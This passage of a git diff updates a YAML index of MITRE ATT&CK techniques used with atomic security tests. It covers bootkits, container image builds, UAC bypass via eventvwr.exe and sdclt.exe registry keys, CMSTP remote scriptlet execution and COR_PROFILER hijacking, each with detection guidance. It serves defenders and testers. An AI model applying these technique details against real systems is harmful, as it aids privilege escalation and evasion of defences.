+      - Anti-virus
+      - File monitoring
+      x_mitre_platforms:
+      - Linux
+      - Windows
+      x_mitre_is_subtechnique: true
+      x_mitre_permissions_required:
+      - Administrator
+      - SYSTEM
       description: |-
         Adversaries may use bootkits to persist on systems. Bootkits reside at a layer below the operating system and may make it difficult to perform full remediation unless an organization suspects one was used and can act accordingly.
 
         A bootkit is a malware variant that modifies the boot sectors of a hard drive, including the Master Boot Record (MBR) and Volume Boot Record (VBR). (Citation: Mandiant M Trends 2016) The MBR is the section of disk that is first loaded after completing hardware initialization by the BIOS. It is the location of the boot loader. An adversary who has raw access to the boot drive may overwrite this area, diverting execution during startup from the normal boot loader to adversary code. (Citation: Lau 2011)
 
         The MBR passes control of the boot process to the VBR. Similar to the case of MBR, an adversary who has raw access to the boot drive may overwrite the VBR to divert execution during startup to adversary code.
-      id: attack-pattern--1b7b1806-7746-41a1-a35d-e48dae25ddba
-      type: attack-pattern
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: persistence
       - kill_chain_name: mitre-attack
         phase_name: defense-evasion
-      modified: '2020-09-17T19:47:14.338Z'
-      created: '2019-12-19T21:05:38.123Z'
-      x_mitre_defense_bypassed:
-      - Host intrusion prevention systems
-      - Anti-virus
-      - File monitoring
-      x_mitre_version: '1.1'
-      x_mitre_is_subtechnique: true
-      x_mitre_permissions_required:
-      - Administrator
-      - SYSTEM
       x_mitre_detection: Perform integrity checking on MBR and VBR. Take snapshots
         of MBR and VBR and compare against known good samples. Report changes to MBR
         and VBR as they occur for indicators of suspicious activity and further analysis.
-      x_mitre_data_sources:
-      - 'Drive: Drive Modification'
-      x_mitre_platforms:
-      - Linux
-      - Windows
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1542/003
+        external_id: T1542.003
+        source_name: mitre-attack
+      - url: https://capec.mitre.org/data/definitions/552.html
+        external_id: CAPEC-552
+        source_name: capec
+      - url: https://www.fireeye.com/content/dam/fireeye-www/current-threats/pdfs/rpt-mtrends-2016.pdf
+        description: Mandiant. (2016, February 25). Mandiant M-Trends 2016. Retrieved
+          March 5, 2019.
+        source_name: Mandiant M Trends 2016
+      - source_name: Lau 2011
+        description: Lau, H. (2011, August 8). Are MBR Infections Back in Fashion?
+          (Infographic). Retrieved November 13, 2014.
+        url: http://www.symantec.com/connect/blogs/are-mbr-infections-back-fashion
     atomic_tests: []
   T1612:
     technique:
+      object_marking_refs:
+      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
+      type: attack-pattern
+      name: Build Image on Host
+      x_mitre_data_sources:
+      - 'Image: Image Creation'
+      - 'Network Traffic: Network Connection Creation'
+      - 'Network Traffic: Network Traffic Flow'
+      - 'Network Traffic: Network Traffic Content'
+      x_mitre_version: '1.1'
+      modified: '2021-08-26T16:45:04.924Z'
+      created: '2021-03-30T17:54:03.944Z'
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: defense-evasion
       id: attack-pattern--800f9819-7007-4540-a520-40e655876800
+      x_mitre_platforms:
+      - Containers
+      x_mitre_is_subtechnique: false
+      x_mitre_permissions_required:
+      - User
+      - root
       description: "Adversaries may build a container image directly on a host to
         bypass defenses that monitor for the retrieval of malicious images from a
         public registry. A remote <code>build</code> request may be sent to the Docker
@@ -21734,35 +22125,12 @@ defense-evasion:
         Docker Build Image)\n\nAn adversary may take advantage of that <code>build</code>
         API to build a custom image on the host that includes malware downloaded from
         their C2 server, and then they then may utilize [Deploy Container](https://attack.mitre.org/techniques/T1610)
-        using that custom image.(Citation: Aqua Build Images on Hosts) If the base
-        image is pulled from a public registry, defenses will likely not detect the
-        image as malicious since it’s a vanilla image. If the base image already resides
-        in a local registry, the pull may be considered even less suspicious since
-        the image is already in the environment. "
-      name: Build Image on Host
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
-      object_marking_refs:
-      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1612
-        url: https://attack.mitre.org/techniques/T1612
-      - source_name: Docker Build Image
-        url: https://docs.docker.com/engine/api/v1.41/#operation/ImageBuild
-        description: Docker. ( null). Docker Engine API v1.41 Reference - Build an
-          Image. Retrieved March 30, 2021.
-      - source_name: Aqua Build Images on Hosts
-        url: https://blog.aquasec.com/malicious-container-image-docker-container-host
-        description: 'Assaf Morag. (2020, July 15). Threat Alert: Attackers Building
-          Malicious Images on Your Hosts. Retrieved March 29, 2021.'
-      type: attack-pattern
-      kill_chain_phases:
-      - kill_chain_name: mitre-attack
-        phase_name: defense-evasion
-      modified: '2021-04-19T13:39:56.999Z'
-      created: '2021-03-30T17:54:03.944Z'
-      x_mitre_platforms:
-      - Containers
+        using that custom image.(Citation: Aqua Build Images on Hosts)(Citation: Aqua
+        Security Cloud Native Threat Report June 2021) If the base image is pulled
+        from a public registry, defenses will likely not detect the image as malicious
+        since it’s a vanilla image. If the base image already resides in a local registry,
+        the pull may be considered even less suspicious since the image is already
+        in the environment. "
       x_mitre_contributors:
       - Assaf Morag, @MoragAssaf, Team Nautilus Aqua Security
       - Roi Kol, @roykol1, Team Nautilus Aqua Security
@@ -21772,74 +22140,50 @@ defense-evasion:
         Docker daemon on hosts in the environment. Additionally monitor for subsequent
         network communication with anomalous IPs that have never been seen before
         in the environment that indicate the download of malicious code.
-      x_mitre_permissions_required:
-      - User
-      - root
-      x_mitre_is_subtechnique: false
-      x_mitre_version: '1.0'
-      x_mitre_data_sources:
-      - 'Image: Image Creation'
-      - 'Network Traffic: Network Connection Creation'
-      - 'Network Traffic: Network Traffic Flow'
-      - 'Network Traffic: Network Traffic Content'
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1612
+        external_id: T1612
+        source_name: mitre-attack
+      - url: https://docs.docker.com/engine/api/v1.41/#operation/ImageBuild
+        description: Docker. ( null). Docker Engine API v1.41 Reference - Build an
+          Image. Retrieved March 30, 2021.
+        source_name: Docker Build Image
+      - url: https://blog.aquasec.com/malicious-container-image-docker-container-host
+        description: 'Assaf Morag. (2020, July 15). Threat Alert: Attackers Building
+          Malicious Images on Your Hosts. Retrieved March 29, 2021.'
+        source_name: Aqua Build Images on Hosts
+      - url: https://info.aquasec.com/hubfs/Threat%20reports/AquaSecurity_Cloud_Native_Threat_Report_2021.pdf?utm_campaign=WP%20-%20Jun2021%20Nautilus%202021%20Threat%20Research%20Report&utm_medium=email&_hsmi=132931006&_hsenc=p2ANqtz-_8oopT5Uhqab8B7kE0l3iFo1koirxtyfTehxF7N-EdGYrwk30gfiwp5SiNlW3G0TNKZxUcDkYOtwQ9S6nNVNyEO-Dgrw&utm_content=132931006&utm_source=hs_automation
+        description: Team Nautilus. (2021, June). Attacks in the Wild on the Container
+          Supply Chain and Infrastructure. Retrieved August 26, 2021.
+        source_name: Aqua Security Cloud Native Threat Report June 2021
     atomic_tests: []
   T1548.002:
     technique:
-      created: '2020-01-30T14:24:34.977Z'
+      type: attack-pattern
       modified: '2020-07-22T21:36:52.458Z'
+      name: Bypass User Account Control
+      x_mitre_data_sources:
+      - 'Process: Process Metadata'
+      - 'Process: Process Creation'
+      - 'Windows Registry: Windows Registry Key Modification'
+      - 'Command: Command Execution'
+      x_mitre_version: '2.0'
+      created: '2020-01-30T14:24:34.977Z'
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: privilege-escalation
       - kill_chain_name: mitre-attack
         phase_name: defense-evasion
-      type: attack-pattern
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1548.002
-        url: https://attack.mitre.org/techniques/T1548/002
-      - url: https://technet.microsoft.com/en-us/itpro/windows/keep-secure/how-user-account-control-works
-        description: Lich, B. (2016, May 31). How User Account Control Works. Retrieved
-          June 3, 2016.
-        source_name: TechNet How UAC Works
-      - url: https://technet.microsoft.com/en-US/magazine/2009.07.uac.aspx
-        description: 'Russinovich, M. (2009, July). User Account Control: Inside Windows
-          7 User Account Control. Retrieved July 26, 2016.'
-        source_name: TechNet Inside UAC
-      - url: https://msdn.microsoft.com/en-us/library/ms679687.aspx
-        description: Microsoft. (n.d.). The COM Elevation Moniker. Retrieved July
-          26, 2016.
-        source_name: MSDN COM Elevation
-      - url: http://www.pretentiousname.com/misc/win7_uac_whitelist2.html
-        description: Davidson, L. (n.d.). Windows 7 UAC whitelist. Retrieved November
-          12, 2014.
-        source_name: Davidson Windows
-      - url: https://github.com/hfiref0x/UACME
-        description: UACME Project. (2016, June 16). UACMe. Retrieved July 26, 2016.
-        source_name: Github UACMe
-      - url: https://enigma0x3.net/2016/08/15/fileless-uac-bypass-using-eventvwr-exe-and-registry-hijacking/
-        description: Nelson, M. (2016, August 15). "Fileless" UAC Bypass using eventvwr.exe
-          and Registry Hijacking. Retrieved December 27, 2016.
-        source_name: enigma0x3 Fileless UAC Bypass
-      - url: https://blog.fortinet.com/2016/12/16/malicious-macro-bypasses-uac-to-elevate-privilege-for-fareit-malware
-        description: Salvio, J., Joven, R. (2016, December 16). Malicious Macro Bypasses
-          UAC to Elevate Privilege for Fareit Malware. Retrieved December 27, 2016.
-        source_name: Fortinet Fareit
-      - url: http://pen-testing.sans.org/blog/pen-testing/2013/08/08/psexec-uac-bypass
-        description: Medin, T. (2013, August 8). PsExec UAC Bypass. Retrieved June
-          3, 2016.
-        source_name: SANS UAC Bypass
-      - url: https://enigma0x3.net/2017/03/14/bypassing-uac-using-app-paths/
-        description: Nelson, M. (2017, March 14). Bypassing UAC using App Paths. Retrieved
-          May 25, 2017.
-        source_name: enigma0x3 sdclt app paths
-      - url: https://enigma0x3.net/2017/03/17/fileless-uac-bypass-using-sdclt-exe/
-        description: Nelson, M. (2017, March 17). "Fileless" UAC Bypass Using sdclt.exe.
-          Retrieved May 25, 2017.
-        source_name: enigma0x3 sdclt bypass
-      object_marking_refs:
-      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
-      name: Bypass User Account Control
+      id: attack-pattern--120d5519-3098-4e1c-9191-2aa61232f073
+      x_mitre_defense_bypassed:
+      - Windows User Account Control
+      x_mitre_platforms:
+      - Windows
+      x_mitre_is_subtechnique: true
+      x_mitre_permissions_required:
+      - Administrator
+      - User
       description: |-
         Adversaries may bypass UAC mechanisms to elevate process privileges on system. Windows User Account Control (UAC) allows a program to elevate its privileges (tracked as integrity levels ranging from low to high) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation. The impact to the user ranges from denying the operation under high enforcement to allowing the user to perform the action if they are in the local administrators group and click through the prompt or allowing them to enter an administrator password to complete the action. (Citation: TechNet How UAC Works)
 
@@ -21850,16 +22194,13 @@ defense-evasion:
         * <code>eventvwr.exe</code> can auto-elevate and execute a specified binary or script.(Citation: enigma0x3 Fileless UAC Bypass)(Citation: Fortinet Fareit)
 
         Another bypass is possible through some lateral movement techniques if credentials for an account with administrator privileges are known, since UAC is a single system security mechanism, and the privilege or integrity of a process running on one system will be unknown on remote systems and default to high integrity.(Citation: SANS UAC Bypass)
-      id: attack-pattern--120d5519-3098-4e1c-9191-2aa61232f073
-      x_mitre_defense_bypassed:
-      - Windows User Account Control
-      x_mitre_version: '2.0'
-      x_mitre_is_subtechnique: true
+      object_marking_refs:
+      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
+      x_mitre_contributors:
+      - Stefan Kanthak
+      - Casey Smith
       x_mitre_effective_permissions:
       - Administrator
-      x_mitre_permissions_required:
-      - Administrator
-      - User
       x_mitre_detection: |-
         There are many ways to perform UAC bypasses when a user is in the local administrator group on a system, so it may be difficult to target detection on all variations. Efforts should likely be placed on mitigation and collecting enough information on process launches and actions that could be performed before and after a UAC bypass is performed. Monitor process API calls for behavior that may be indicative of [Process Injection](https://attack.mitre.org/techniques/T1055) and unusual loaded DLLs through [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1574/001), which indicate attempts to gain access to higher privileged processes.
 
@@ -21870,16 +22211,50 @@ defense-evasion:
         * The <code>sdclt.exe</code> bypass uses the <code>[HKEY_CURRENT_USER]\Software\Microsoft\Windows\CurrentVersion\App Paths\control.exe</code> and <code>[HKEY_CURRENT_USER]\Software\Classes\exefile\shell\runas\command\isolatedCommand</code> Registry keys.(Citation: enigma0x3 sdclt app paths)(Citation: enigma0x3 sdclt bypass)
 
         Analysts should monitor these Registry settings for unauthorized changes.
-      x_mitre_data_sources:
-      - 'Process: Process Metadata'
-      - 'Process: Process Creation'
-      - 'Windows Registry: Windows Registry Key Modification'
-      - 'Command: Command Execution'
-      x_mitre_contributors:
-      - Stefan Kanthak
-      - Casey Smith
-      x_mitre_platforms:
-      - Windows
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1548/002
+        external_id: T1548.002
+        source_name: mitre-attack
+      - source_name: TechNet How UAC Works
+        description: Lich, B. (2016, May 31). How User Account Control Works. Retrieved
+          June 3, 2016.
+        url: https://technet.microsoft.com/en-us/itpro/windows/keep-secure/how-user-account-control-works
+      - source_name: TechNet Inside UAC
+        description: 'Russinovich, M. (2009, July). User Account Control: Inside Windows
+          7 User Account Control. Retrieved July 26, 2016.'
+        url: https://technet.microsoft.com/en-US/magazine/2009.07.uac.aspx
+      - source_name: MSDN COM Elevation
+        description: Microsoft. (n.d.). The COM Elevation Moniker. Retrieved July
+          26, 2016.
+        url: https://msdn.microsoft.com/en-us/library/ms679687.aspx
+      - source_name: Davidson Windows
+        description: Davidson, L. (n.d.). Windows 7 UAC whitelist. Retrieved November
+          12, 2014.
+        url: http://www.pretentiousname.com/misc/win7_uac_whitelist2.html
+      - source_name: Github UACMe
+        description: UACME Project. (2016, June 16). UACMe. Retrieved July 26, 2016.
+        url: https://github.com/hfiref0x/UACME
+      - source_name: enigma0x3 Fileless UAC Bypass
+        description: Nelson, M. (2016, August 15). "Fileless" UAC Bypass using eventvwr.exe
+          and Registry Hijacking. Retrieved December 27, 2016.
+        url: https://enigma0x3.net/2016/08/15/fileless-uac-bypass-using-eventvwr-exe-and-registry-hijacking/
+      - source_name: Fortinet Fareit
+        description: Salvio, J., Joven, R. (2016, December 16). Malicious Macro Bypasses
+          UAC to Elevate Privilege for Fareit Malware. Retrieved December 27, 2016.
+        url: https://blog.fortinet.com/2016/12/16/malicious-macro-bypasses-uac-to-elevate-privilege-for-fareit-malware
+      - source_name: SANS UAC Bypass
+        description: Medin, T. (2013, August 8). PsExec UAC Bypass. Retrieved June
+          3, 2016.
+        url: http://pen-testing.sans.org/blog/pen-testing/2013/08/08/psexec-uac-bypass
+      - source_name: enigma0x3 sdclt app paths
+        description: Nelson, M. (2017, March 14). Bypassing UAC using App Paths. Retrieved
+          May 25, 2017.
+        url: https://enigma0x3.net/2017/03/14/bypassing-uac-using-app-paths/
+      - source_name: enigma0x3 sdclt bypass
+        description: Nelson, M. (2017, March 17). "Fileless" UAC Bypass Using sdclt.exe.
+          Retrieved May 25, 2017.
+        url: https://enigma0x3.net/2017/03/17/fileless-uac-bypass-using-sdclt-exe/
       identifier: T1548.002
     atomic_tests:
     - name: Bypass UAC using Event Viewer (cmd)
@@ -22369,65 +22744,38 @@ defense-evasion:
         name: command_prompt
   T1218.003:
     technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1218.003
-        url: https://attack.mitre.org/techniques/T1218/003
-      - url: https://docs.microsoft.com/previous-versions/windows/it-pro/windows-server-2003/cc786431(v=ws.10)
-        description: Microsoft. (2009, October 8). How Connection Manager Works. Retrieved
-          April 11, 2018.
-        source_name: Microsoft Connection Manager Oct 2009
-      - url: https://twitter.com/ItsReallyNick/status/958789644165894146
-        description: Carr, N. (2018, January 31). Here is some early bad cmstp.exe...
-          Retrieved April 11, 2018.
-        source_name: Twitter CMSTP Usage Jan 2018
-      - url: https://msitpros.com/?p=3960
-        description: Moe, O. (2017, August 15). Research on CMSTP.exe. Retrieved April
-          11, 2018.
-        source_name: MSitPros CMSTP Aug 2017
-      - url: https://twitter.com/NickTyrer/status/958450014111633408
-        description: Tyrer, N. (2018, January 30). CMSTP.exe - remote .sct execution
-          applocker bypass. Retrieved April 11, 2018.
-        source_name: Twitter CMSTP Jan 2018
-      - url: https://github.com/api0cradle/UltimateAppLockerByPassList
-        description: Moe, O. (2018, March 1). Ultimate AppLocker Bypass List. Retrieved
-          April 10, 2018.
-        source_name: GitHub Ultimate AppLocker Bypass List
-      - url: http://www.endurant.io/cmstp/detecting-cmstp-enabled-code-execution-and-uac-bypass-with-sysmon/
-        description: Seetharaman, N. (2018, July 7). Detecting CMSTP-Enabled Code
-          Execution and UAC Bypass With Sysmon.. Retrieved August 6, 2018.
-        source_name: Endurant CMSTP July 2018
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      type: attack-pattern
       name: CMSTP
+      x_mitre_data_sources:
+      - 'Process: Process Creation'
+      - 'Command: Command Execution'
+      - 'Network Traffic: Network Connection Creation'
+      x_mitre_version: '1.0'
+      modified: '2020-06-20T22:34:03.247Z'
+      created: '2020-01-23T18:27:30.656Z'
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: defense-evasion
+      id: attack-pattern--4cbc6a62-9e34-4f94-8a19-5c1a11392a49
+      x_mitre_defense_bypassed:
+      - Anti-virus
+      - Application control
+      x_mitre_platforms:
+      - Windows
+      x_mitre_is_subtechnique: true
+      x_mitre_permissions_required:
+      - User
       description: |-
         Adversaries may abuse CMSTP to proxy execution of malicious code. The Microsoft Connection Manager Profile Installer (CMSTP.exe) is a command-line program used to install Connection Manager service profiles. (Citation: Microsoft Connection Manager Oct 2009) CMSTP.exe accepts an installation information file (INF) as a parameter and installs a service profile leveraged for remote access connections.
 
         Adversaries may supply CMSTP.exe with INF files infected with malicious commands. (Citation: Twitter CMSTP Usage Jan 2018) Similar to [Regsvr32](https://attack.mitre.org/techniques/T1218/010) / ”Squiblydoo”, CMSTP.exe may be abused to load and execute DLLs (Citation: MSitPros CMSTP Aug 2017)  and/or COM scriptlets (SCT) from remote servers. (Citation: Twitter CMSTP Jan 2018) (Citation: GitHub Ultimate AppLocker Bypass List) (Citation: Endurant CMSTP July 2018) This execution may also bypass AppLocker and other application control defenses since CMSTP.exe is a legitimate, signed Microsoft application.
 
         CMSTP.exe can also be abused to [Bypass User Account Control](https://attack.mitre.org/techniques/T1548/002) and execute arbitrary commands from a malicious INF through an auto-elevated COM interface. (Citation: MSitPros CMSTP Aug 2017) (Citation: GitHub Ultimate AppLocker Bypass List) (Citation: Endurant CMSTP July 2018)
-      id: attack-pattern--4cbc6a62-9e34-4f94-8a19-5c1a11392a49
-      type: attack-pattern
-      kill_chain_phases:
-      - kill_chain_name: mitre-attack
-        phase_name: defense-evasion
-      modified: '2020-06-20T22:34:03.247Z'
-      created: '2020-01-23T18:27:30.656Z'
       x_mitre_contributors:
       - Nik Seetharaman, Palantir
       - Ye Yint Min Thu Htut, Offensive Security Team, DBS Bank
-      x_mitre_data_sources:
-      - 'Process: Process Creation'
-      - 'Command: Command Execution'
-      - 'Network Traffic: Network Connection Creation'
-      x_mitre_defense_bypassed:
-      - Anti-virus
-      - Application control
-      x_mitre_version: '1.0'
-      x_mitre_is_subtechnique: true
-      x_mitre_permissions_required:
-      - User
       x_mitre_detection: |-
         Use process monitoring to detect and analyze the execution and arguments of CMSTP.exe. Compare recent invocations of CMSTP.exe with prior history of known good arguments and loaded files to determine anomalous and potentially adversarial activity.
 
@@ -22435,8 +22783,35 @@ defense-evasion:
 
         * To detect loading and execution of local/remote payloads - Event 1 (Process creation) where ParentImage contains CMSTP.exe and/or Event 3 (Network connection) where Image contains CMSTP.exe and DestinationIP is external.
         * To detect [Bypass User Account Control](https://attack.mitre.org/techniques/T1548/002) via an auto-elevated COM interface - Event 10 (ProcessAccess) where CallTrace contains CMLUA.dll and/or Event 12 or 13 (RegistryEvent) where TargetObject contains CMMGR32.exe. Also monitor for events, such as the creation of processes (Sysmon Event 1), that involve auto-elevated CMSTP COM interfaces such as CMSTPLUA (3E5FC7F9-9A51-4367-9063-A120244FBEC7) and CMLUAUTIL (3E000D72-A845-4CD9-BD83-80C07C3B881F).
-      x_mitre_platforms:
-      - Windows
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1218/003
+        external_id: T1218.003
+        source_name: mitre-attack
+      - source_name: Microsoft Connection Manager Oct 2009
+        description: Microsoft. (2009, October 8). How Connection Manager Works. Retrieved
+          April 11, 2018.
+        url: https://docs.microsoft.com/previous-versions/windows/it-pro/windows-server-2003/cc786431(v=ws.10)
+      - source_name: Twitter CMSTP Usage Jan 2018
+        description: Carr, N. (2018, January 31). Here is some early bad cmstp.exe...
+          Retrieved April 11, 2018.
+        url: https://twitter.com/ItsReallyNick/status/958789644165894146
+      - source_name: MSitPros CMSTP Aug 2017
+        description: Moe, O. (2017, August 15). Research on CMSTP.exe. Retrieved April
+          11, 2018.
+        url: https://msitpros.com/?p=3960
+      - source_name: Twitter CMSTP Jan 2018
+        description: Tyrer, N. (2018, January 30). CMSTP.exe - remote .sct execution
+          applocker bypass. Retrieved April 11, 2018.
+        url: https://twitter.com/NickTyrer/status/958450014111633408
+      - source_name: GitHub Ultimate AppLocker Bypass List
+        description: Moe, O. (2018, March 1). Ultimate AppLocker Bypass List. Retrieved
+          April 10, 2018.
+        url: https://github.com/api0cradle/UltimateAppLockerByPassList
+      - source_name: Endurant CMSTP July 2018
+        description: Seetharaman, N. (2018, July 7). Detecting CMSTP-Enabled Code
+          Execution and UAC Bypass With Sysmon.. Retrieved August 6, 2018.
+        url: http://www.endurant.io/cmstp/detecting-cmstp-enabled-code-execution-and-uac-bypass-with-sysmon/
       identifier: T1218.003
     atomic_tests:
     - name: CMSTP Executing Remote Scriptlet
@@ -22499,50 +22874,18 @@ defense-evasion:
         name: command_prompt
   T1574.012:
     technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1574.012
-        url: https://attack.mitre.org/techniques/T1574/012
-      - source_name: Microsoft Profiling Mar 2017
-        url: https://docs.microsoft.com/en-us/dotnet/framework/unmanaged-api/profiling/profiling-overview
-        description: Microsoft. (2017, March 30). Profiling Overview. Retrieved June
-          24, 2020.
-      - source_name: Microsoft COR_PROFILER Feb 2013
-        url: https://docs.microsoft.com/en-us/previous-versions/dotnet/netframework-4.0/ee471451(v=vs.100)
-        description: Microsoft. (2013, February 4). Registry-Free Profiler Startup
-          and Attach. Retrieved June 24, 2020.
-      - source_name: RedCanary Mockingbird May 2020
-        url: https://redcanary.com/blog/blue-mockingbird-cryptominer/
-        description: Lambert, T. (2020, May 7). Introducing Blue Mockingbird. Retrieved
-          May 26, 2020.
-      - source_name: Red Canary COR_PROFILER May 2020
-        url: https://redcanary.com/blog/cor_profiler-for-persistence/
-        description: Brown, J. (2020, May 7). Detecting COR_PROFILER manipulation
-          for persistence. Retrieved June 24, 2020.
-      - source_name: Almond COR_PROFILER Apr 2019
-        url: https://offsec.almond.consulting/UAC-bypass-dotnet.html
-        description: Almond. (2019, April 30). UAC bypass via elevated .NET applications.
-          Retrieved June 24, 2020.
-      - source_name: GitHub OmerYa Invisi-Shell
-        url: https://github.com/OmerYa/Invisi-Shell
-        description: Yair, O. (2019, August 19). Invisi-Shell. Retrieved June 24,
-          2020.
-      - source_name: subTee .NET Profilers May 2017
-        url: https://web.archive.org/web/20170720041203/http://subt0x10.blogspot.com/2017/05/subvert-clr-process-listing-with-net.html
-        description: Smith, C. (2017, May 18). Subvert CLR Process Listing With .NET
-          Profilers. Retrieved June 24, 2020.
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
-      name: COR_PROFILER
-      description: |-
-        Adversaries may leverage the COR_PROFILER environment variable to hijack the execution flow of programs that load the .NET CLR. The COR_PROFILER is a .NET Framework feature which allows developers to specify an unmanaged (or external of .NET) profiling DLL to be loaded into each .NET process that loads the Common Language Runtime (CLR). These profiliers are designed to monitor, troubleshoot, and debug managed code executed by the .NET CLR.(Citation: Microsoft Profiling Mar 2017)(Citation: Microsoft COR_PROFILER Feb 2013)
-
-        The COR_PROFILER environment variable can be set at various scopes (system, user, or process) resulting in different levels of influence. System and user-wide environment variable scopes are specified in the Registry, where a [Component Object Model](https://attack.mitre.org/techniques/T1559/001) (COM) object can be registered as a profiler DLL. A process scope COR_PROFILER can also be created in-memory without modifying the Registry. Starting with .NET Framework 4, the profiling DLL does not need to be registered as long as the location of the DLL is specified in the COR_PROFILER_PATH environment variable.(Citation: Microsoft COR_PROFILER Feb 2013)
-
-        Adversaries may abuse COR_PROFILER to establish persistence that executes a malicious DLL in the context of all .NET processes every time the CLR is invoked. The COR_PROFILER can also be used to elevate privileges (ex: [Bypass User Account Control](https://attack.mitre.org/techniques/T1548/002)) if the victim .NET process executes at a higher permission level, as well as to hook and [Impair Defenses](https://attack.mitre.org/techniques/T1562) provided by .NET processes.(Citation: RedCanary Mockingbird May 2020)(Citation: Red Canary COR_PROFILER May 2020)(Citation: Almond COR_PROFILER Apr 2019)(Citation: GitHub OmerYa Invisi-Shell)(Citation: subTee .NET Profilers May 2017)
-      id: attack-pattern--ffeb0780-356e-4261-b036-cfb6bd234335
       type: attack-pattern
+      name: COR_PROFILER
+      x_mitre_data_sources:
+      - 'Windows Registry: Windows Registry Key Modification'
+      - 'Process: Process Creation'
+      - 'Module: Module Load'
+      - 'Command: Command Execution'
+      x_mitre_version: '1.0'
+      modified: '2021-08-30T21:35:12.049Z'
+      created: '2020-06-24T22:30:55.843Z'
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: persistence
@@ -22550,8 +22893,21 @@ defense-evasion:
         phase_name: privilege-escalation
       - kill_chain_name: mitre-attack
         phase_name: defense-evasion
-      modified: '2020-06-26T16:09:58.920Z'
-      created: '2020-06-24T22:30:55.843Z'
+      id: attack-pattern--ffeb0780-356e-4261-b036-cfb6bd234335
+      x_mitre_platforms:
+      - Windows
+      x_mitre_is_subtechnique: true
+      x_mitre_permissions_required:
+      - User
+      - Administrator
+      description: |-
+        Adversaries may leverage the COR_PROFILER environment variable to hijack the execution flow of programs that load the .NET CLR. The COR_PROFILER is a .NET Framework feature which allows developers to specify an unmanaged (or external of .NET) profiling DLL to be loaded into each .NET process that loads the Common Language Runtime (CLR). These profilers are designed to monitor, troubleshoot, and debug managed code executed by the .NET CLR.(Citation: Microsoft Profiling Mar 2017)(Citation: Microsoft COR_PROFILER Feb 2013)
+
+        The COR_PROFILER environment variable can be set at various scopes (system, user, or process) resulting in different levels of influence. System and user-wide environment variable scopes are specified in the Registry, where a [Component Object Model](https://attack.mitre.org/techniques/T1559/001) (COM) object can be registered as a profiler DLL. A process scope COR_PROFILER can also be created in-memory without modifying the Registry. Starting with .NET Framework 4, the profiling DLL does not need to be registered as long as the location of the DLL is specified in the COR_PROFILER_PATH environment variable.(Citation: Microsoft COR_PROFILER Feb 2013)
+
+        Adversaries may abuse COR_PROFILER to establish persistence that executes a malicious DLL in the context of all .NET processes every time the CLR is invoked. The COR_PROFILER can also be used to elevate privileges (ex: [Bypass User Account Control](https://attack.mitre.org/techniques/T1548/002)) if the victim .NET process executes at a higher permission level, as well as to hook and [Impair Defenses](https://attack.mitre.org/techniques/T1562) provided by .NET processes.(Citation: RedCanary Mockingbird May 2020)(Citation: Red Canary COR_PROFILER May 2020)(Citation: Almond COR_PROFILER Apr 2019)(Citation: GitHub OmerYa Invisi-Shell)(Citation: subTee .NET Profilers May 2017)
+      x_mitre_contributors:
+      - Jesse Brown, Red Canary
       x_mitre_detection: 'For detecting system and user scope abuse of the COR_PROFILER,
         monitor the Registry for changes to COR_ENABLE_PROFILING, COR_PROFILER, and
         COR_PROFILER_PATH that correspond to system and user environment variables
@@ -22564,20 +22920,39 @@ defense-evasion:
         shortly after the CLR causing abnormal process behavior.(Citation: Red Canary
         COR_PROFILER May 2020) Consider monitoring for DLL files that are associated
         with COR_PROFILER environment variables.'
-      x_mitre_data_sources:
-      - 'Windows Registry: Windows Registry Key Modification'
-      - 'Process: Process Creation'
-      - 'Module: Module Load'
-      - 'Command: Command Execution'
-      x_mitre_version: '1.0'
-      x_mitre_is_subtechnique: true
-      x_mitre_permissions_required:
-      - User
-      - Administrator
-      x_mitre_contributors:
-      - Jesse Brown, Red Canary
-      x_mitre_platforms:
-      - Windows
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1574/012
+        external_id: T1574.012
+        source_name: mitre-attack
+      - url: https://docs.microsoft.com/en-us/dotnet/framework/unmanaged-api/profiling/profiling-overview
+        description: Microsoft. (2017, March 30). Profiling Overview. Retrieved June
+          24, 2020.
+        source_name: Microsoft Profiling Mar 2017
+      - url: https://docs.microsoft.com/en-us/previous-versions/dotnet/netframework-4.0/ee471451(v=vs.100)
+        description: Microsoft. (2013, February 4). Registry-Free Profiler Startup
+          and Attach. Retrieved June 24, 2020.
+        source_name: Microsoft COR_PROFILER Feb 2013
+      - url: https://redcanary.com/blog/blue-mockingbird-cryptominer/
+        description: Lambert, T. (2020, May 7). Introducing Blue Mockingbird. Retrieved
+          May 26, 2020.
+        source_name: RedCanary Mockingbird May 2020
+      - url: https://redcanary.com/blog/cor_profiler-for-persistence/
